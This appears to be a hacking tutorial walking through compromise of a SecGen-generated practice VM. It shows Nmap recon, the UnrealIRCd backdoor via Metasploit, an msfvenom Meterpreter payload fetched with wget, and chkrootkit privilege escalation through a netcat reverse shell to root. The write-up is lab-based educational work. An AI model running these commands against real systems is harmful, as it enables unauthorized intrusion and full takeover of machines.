Attack a Vulnerable Practice Computer: A Guide from Scan to Shell

In my previous article, we learned how to generate a vulnerable virtual machine using SecGen to safely and legally practice hacking. In this tutorial, we will put it all together, and learn how to actually hack our practice VM. This will provide some insight into the methodology behind an actual attack and demonstrate the proper way to practice on a VM.
SecGen allows you to generate different scenarios for practice, balancing the surprises of real-life encounters with the safety of a legal hacking lab. Since the VM is a guest on my host, there are no worries about legality. I am also not concerned with how loud my tools are on the network. This is purely for demonstration purposes, attempting this on a machine without authorization could lead to serious legal ramifications.

In this guide, we'll be attacking our VM host on a Kali Linux system. You should use any platform that can run our virtual machine in VirtualBox.

Our Raspberry-Pi-based Kali Linux hacking build, in this case, doesn't do well with virtualization, so if we want to use it, we'll have to run our guest VM on another computer and bridge the adapter.

Step 1 Enumeration

This is the first phase of our attack, and in this case, it's going to be short. This VM doesn't have a huge attack surface. I start out with an Nmap scan for initial recon.
nmap -A -p- -v victimMachine -oX nmap.xml | tee nmap.out

In this command, I'm telling Nmap to enable OS detection, version detection, script scanning, and traceroute with the **-A** argument. The **-p-** argument tells Nmap to scan all TCP ports, and **-v** tells Nmap to use one level of verbosity. The **-oX** argument tells Nmap to save results in an XML file called nmap.xml. The XML file can be helpful in the early stages of scouring with SearchSploit.

I then pipe it into **tee** to split STDOUT between my terminal and the file nmap.out. A pipe is a form of redirection in POSIX environments and is represented by the "**|**" character. The pipe sends the output (STDOUT) of one program into the input (STDIN) of another. This allows programmers to focus on Unix philosophy, the first tenant of which is "Do one thing well." Pipes allow for command chaining, which is a powerful way to build new utilities out of other existing utilities.
If you are interested in learning more about pipes, I recommend Brandon Wamboldt's article on the subject.
Throughout this article, I have substituted "victimMachine" and "attackingMachine" for the actual machine IP addresses.

While this scan is working, I fire up KeepNote and start a notebook on this project. I use KeepNote to store screenshots, keep track of information, and organize information supporting my attack. Even though this is only one host, good note-taking can really pay off. I suggest looking for a note-taking app that works for you. KeepNote is installed by default on Kali Linux.

```
File  Edit  View  Search  Terminal  Help
Not shown: 65530 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     ProFTPD 1.3.4a
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u3 (protocol 2.0)
| ssh-hostkey:
|   1024 77:d4:4c:b2:17:6d:78:9c:1e:48:b0:3d:90:a5:c1:e7 (DSA)
|   2048 70:8f:7f:ea:0a:31:67:5e:31:fb:1d:f5:8d:27:22:dc (RSA)
|_  256 7d:40:a9:af:d8:6b:4b:8f:44:7f:15:03:c3:60:15:7c (ECDSA)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          35839/tcp  status
|_  100024  1          53969/udp  status
6667/tcp  open  irc?
|_irc-info: Unable to open connection
35839/tcp open  status  1 (RPC #100024)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 11:17
Completed NSE at 11:17, 0.00s elapsed
Initiating NSE at 11:17
```

On machines with a larger attack surface, it can be easy to go down the rabbit hole chasing a vulnerability that simply isn't there, or maybe is there but refuses to work for some reason.

Hammering away endlessly at something that isn't working can really screw up your workflow. If you suspect that something is vulnerable, but it isn't working, note it. Then rule out easier options first. The goal here isn't to have the most complex attack; the goal is root.

At first glance, both IRC and FTP seem like they would be excellent attack vectors. FTP is often misconfigured, out of date, and vulnerable. A cursory search shows that ProFTPd has multiple vulnerabilities, but none of those are the version that this machine is running. So I move on to what I'm hoping is the next lowest hanging fruit, IRC.

I use this command to establish a connection to the server, hoping to gather some more information.

echo -e "USER ident 0 * :Gecos\nNICK evilHacker" | nc victimMachine 6667

The **-e** argument in **echo** tells the command to interpret escape sequences. The rest is just the hello for an IRC connection. I send my echo'd text into **netcat** via pipe and get an excellent result.

```
File  Edit  View  Search  Terminal  Help
barrow@Nostromo:~/targets$ echo -e "USER ident 0 * :Gecos\nNICK evilHacker" | nc
:irc.myserver.org 001 evilHacker :Welcome to the Public Name of My Server IRC Ne
nt@172.28.128.1
:irc.myserver.org 002 evilHacker :Your host is irc.myserver.org, running version
:irc.myserver.org 003 evilHacker :This server was created Sun Aug 20 2017 at 16:
:irc.myserver.org 004 evilHacker irc.myserver.org Unreal3.2.8.1 iowghraAsORTVSxN
tikrRcaqOALQbSeIKVfMCuzNTGj
:irc.myserver.org 005 evilHacker UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=100 CHA
=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MA
ported by this server
:irc.myserver.org 005 evilHacker WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODE
FIX=(ohv)@%+ CHANMODES=beIqa,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=Public-Name-o
ING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=@%+ :are supported by this server
:irc.myserver.org 005 evilHacker EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :a
 server
:irc.myserver.org 251 evilHacker :There are 1 users and 0 invisible on 1 servers
:irc.myserver.org 255 evilHacker :I have 1 clients and 0 servers
:irc.myserver.org 265 evilHacker :Current Local Users: 1  Max: 1
:irc.myserver.org 266 evilHacker :Current Global Users: 1  Max: 1
:irc.myserver.org 375 evilHacker :- irc.myserver.org Message of the Day -
:irc.myserver.org 372 evilHacker :- 20/8/2017 16:48
:irc.myserver.org 372 evilHacker :- Open-architected didactic encryption
:irc.myserver.org 376 evilHacker :End of /MOTD command.
```

I discover that the server is running version Unreal 3.2.8.1. Also, a little research shows that this particular version has a malicious backdoor installed.

Step 2 Gaining Access

Since I know that the vulnerability I am targeting has a module in Metasploit, I fire up a Metasploit console.
msfconsole

If you dislike the banners at launch, you can add the **-q** argument. Once within the console, I select my exploit and read the information available for it with the following commands.
use exploit/unix/irc/unreal_ircd_3281_backdoor
info

```
File  Edit  View  Search  Terminal  Help
msf exploit(unreal_ircd_3281_backdoor) > info

       Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-12

Provided by:
  hdm <x@hdm.io>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   yes       The target address
  RPORT  6667             yes       The target port (TCP)
```

Next, I set the required options for my victim machine. In this case, I only need to set one option: the remote host.

set rhost victimMachine

I then set the options for my payload by entering the following.

set lhost attackingMachine
set lport 31337
set payload cmd/unix/reverse

This is a basic payload, but it should allow us to do some additional enumeration once we are connected. I would obviously prefer a Meterpreter session, but there aren't a lot of payloads to go with this exploit.

```
msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/
set payload cmd/unix/bind_perl                set payload cmd/unix/reverse_per
set payload cmd/unix/bind_perl_ipv6           set payload cmd/unix/reverse_per
set payload cmd/unix/bind_ruby                set payload cmd/unix/reverse_rub
set payload cmd/unix/bind_ruby_ipv6           set payload cmd/unix/reverse_rub
set payload cmd/unix/generic                  set payload cmd/unix/reverse_ssl
set payload cmd/unix/reverse
```

Once I'm satisfied with my settings, I run the exploit.

run

Which executes the Metasploit module and returns me a low privilege shell.

```
msf exploit(unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP handler on 172.28.128.1:31337
[*] 172.28.128.3:6667 - Connected to 172.28.128.3:6667...
[*] 172.28.128.3:6667 - Sending backdoor command...
[*] Command shell session 1 opened (172.28.128.1:31337 -> 172.28.128.3:37074) at
 -0700

whoami
irc
pwd
/var/lib/unreal
```

This is a strong foothold. Using this, I'll upgrade to a Meterpreter reverse TCP connection. To do this, first I generate a Meterpreter payload using **msfvenom** by typing the following.
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=attackingMachine LPORT=6666 -f elf > /var/www/html/6666Met

This command generates a reverse TCP Meterpreter payload, which will connect back to my attacking machine on port 6666 in ELF format. I put it on the victim machine by using**wget** in our low-privilege shell.
wget attackingMachine/6666Met -O /tmp/met

I pull up another msfconsole on my attacking machine and prepare the handler for the incoming Meterpreter connection by typing the following commands.

use exploit/multi/handler
set LHOST attackingMachine
set LPORT 6666
set payload linux/x86/meterpreter/reverse_tcp
run

I then execute my uploaded Meterpreter on the victim machine. Doing so returns a nice Meterpreter shell. This is extremely helpful in managing connections. Bare-bones shells can be unreliable, and there's nothing worse than losing your shell in the middle of an engagement.

```
File  Edit  View  Search  Terminal  Tabs  Help
barrow@Nostromo: ~/targets                    barrow@N

 2548   1      dhclient        i686  root        .
 2591   1      sshd            i686  root        .
 3744   2      kworker/0:0     i686  root        .
 8912   1      sleep           x86   irc         /bin
 8913   1      telnet          x86   irc         /usr/bin
 8914   1      sh              x86   irc         /bin
 8915   1      telnet          x86   irc         /usr/bin
 21588  8914   sh              x86   irc         /bin
 22559  1      sleep           x86   irc         /bin
 22560  1      telnet          x86   irc         /usr/bin
 22561  1      sh              x86   irc         /bin
 22562  1      telnet          x86   irc         /usr/bin
 22563  22561  sh              x86   irc         /bin
 25481  2      kworker/0:2     i686  root        .
 27425  22563  met             x86   irc         /tmp
 30338  2      kworker/0:1     i686  root        .

meterpreter > sysinfo
Computer     : localhost.vm
OS           : Debian 7.8 (Linux 3.2.0-4-686-pae)
Architecture : i686
Meterpreter  : x86/linux
meterpreter >
```

Step 3 Privilege Escalation

Currently, I'm not a privileged user. Even having unauthorized shell access as an unprivileged user is a huge security issue. But I, of course, want root.

In order to escalate privileges, I'm going to have to start enumerating the system. This is where keeping notes really pays off. I like to start out with automated tools and dig deeper if it's required. My preferred automated Linux privilege escalation script is LinEnum.sh. If this doesn't notice anything immediately, I use other scripts.

Eventually, if I'm stuck, I can sort manually based on g0tmi1k's basic Linux privilege escalation post. Inputting the commands manually and reading the output helps to slow the process down and allows me to be more methodical.
In order to get LinEnum on my victim machine, I put a copy in my attacking machine's /var/www/html directory, and then type the following into terminal.

```
wget attackingMachine/LinEnum.sh -O /tmp/lin.sh; chmod 700 /tmp/lin.sh;/tmp/lin.sh
```

This command pulls the script off of my attacking machine, the **-O** argument outputs the file to /tmp/lin.sh. I then change permissions to be **rwx** (read, write execute) for my user and run the script.
Alternatively, I could also just use Meterpreter to put the file on the remote host.

```
File  Edit  View  Search  Terminal  Help
irc      17182  0.0  0.0   1864   496 ?        S    13:17   0:00 sh
root     18155  0.4  0.0      0     0 ?        S    13:18   0:01 [kworker/0:2]
root     25028  0.2  0.0      0     0 ?        S    13:24   0:00 [kworker/0:1]
irc      25029  2.6  0.2   2804  1252 ?        S    13:24   0:00 /bin/bash ./lin
irc      25330  0.0  0.1   2804   568 ?        S    13:24   0:00 /bin/bash ./lin
irc      25331  0.0  0.1   2748   952 ?        R    13:24   0:00 ps aux


Process binaries & associated permissions (from above list):
-rwxr-xr-x  1 root root 941252 Sep 25  2014 /bin/bash
-rwxr-xr-x  2 root root  26684 Dec  9  2012 /sbin/getty
-rwxr-xr-x  1 root root  68180 May 21  2013 /sbin/rpc.statd
-rwxr-xr-x  1 root root  42836 Sep 20  2015 /sbin/rpcbind
-rwxr-xr-x  1 root root  42748 Apr 15  2013 /usr/sbin/acpid
-rwxr-xr-x  1 root root  21812 Oct  3  2014 /usr/sbin/atd
-rwxr-xr-x  1 root root  43020 Jul  3  2012 /usr/sbin/cron
-rwsr-xr-x  1 root root 937532 Jul 20  2014 /usr/sbin/exim4
-rwxr-xr-x  1 root root 527824 Oct 28  2015 /usr/sbin/ntpd
-rwxr-xr-x  1 root root 531920 Jan 13  2016 /usr/sbin/sshd

/opt/puppetlabs:
total 28
drwxr-xr-x 7 root root 4096 Mar  8  2016 .
```

This is a lot of information to intake and requires some processing to understand. A lot of the time spent doing a penetration test is enumerating through all the information you collect and deciding on a course of action.

After significant enumeration, I discovered a vulnerable version of chkrootkit. In this case, I did end up doing my enumeration manually. It also helped that I had encountered this particular vulnerability in the past. Metasploit has a module for this exploit, but it's trivial to just put our own file in.
When I write files on a compromised machine, I try to be careful about interactive programs like Vim, SSH, FTP, etc. In some cases, they can cause you to lose your shell. Some exploits can render machines unstable and may no longer work unless the machine is rebooted. This sucks because losing a shell can really mess things up. I create the /tmp/update file with the following commands.
echo "#!/bin/sh">/tmp/update
echo nc 172.28.128.1 6688 -e /bin/sh >> /tmp/update
chmod 777 /tmp/update

First, I redirect STDOUT into /tmp/update using the **>** redirection character. This redirects STDOUT into a file. Then I append my **netcat** command into the file. Lastly, I make the file executable by all.

```
echo "#!/bin/sh">update
cat update
#!/bin/sh
echo nc 172.28.128.1 6688 -e /bin/sh >> update
cat update
#!/bin/sh
nc 172.28.128.1 6688 -e /bin/sh
chmod +x update
```

This tells Netcat to connect to my attacking machine and execute /bin/sh. On the other side of the connection, I set up an **ncat** listener by entering the following command.
ncat -nlv attackingMachine 6688

Which tells Netcat to listen for an incoming connection to the attacking machine on port 6688. With this set up, I wait. After a short time, I receive a root shell connection on my attacking machine!

```
File  Edit  View  Search  Terminal  Tabs  Help
barrow@Nostromo: ~/...   barrow@Nostromo: ~   root@Nostromo: /hom...

          inet addr:172.28.128.3  Bcast:172.28.128.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea8:8210/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6551 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5538 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2141786 (2.0 MiB)  TX bytes:561356 (548.1 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

whoami
root
ls
private_stuff
VBoxGuestAdditions.iso
```

Putting It All Together

Tools like SecGen are great for practice. Many vulnerable machines are set up in a way that isn't very realistic. Many authors configure their machines to be clever. These can be fun, but they aren't always helpful. Other vulnerable machines offer a large collection of vulnerabilities, but they often feel like you're going through an exploitation checklist. With SecGen, the machine feels like an actual target, complete with genuine surprises.

I had a lot of fun with this machine. Getting my first shell was fast, but generally getting a shell isn't the hardest part. Since the attack surface on this host was small, I was able to quickly narrow in on a vulnerable service. On machines

with a larger attack surface, pre-exploitation enumeration becomes more important.

The privilege escalation phase of this machine was very straightforward. There was no need to pull possibly broken exploit code off the web and try to get it working. The difficulty in this scenario was in post exploitation enumeration, which I used to determine what I could leverage to gain root.

This has been an outline of attacking a SecGen generated vulnerable VM. If you enjoyed this article, come hang out with us on social media!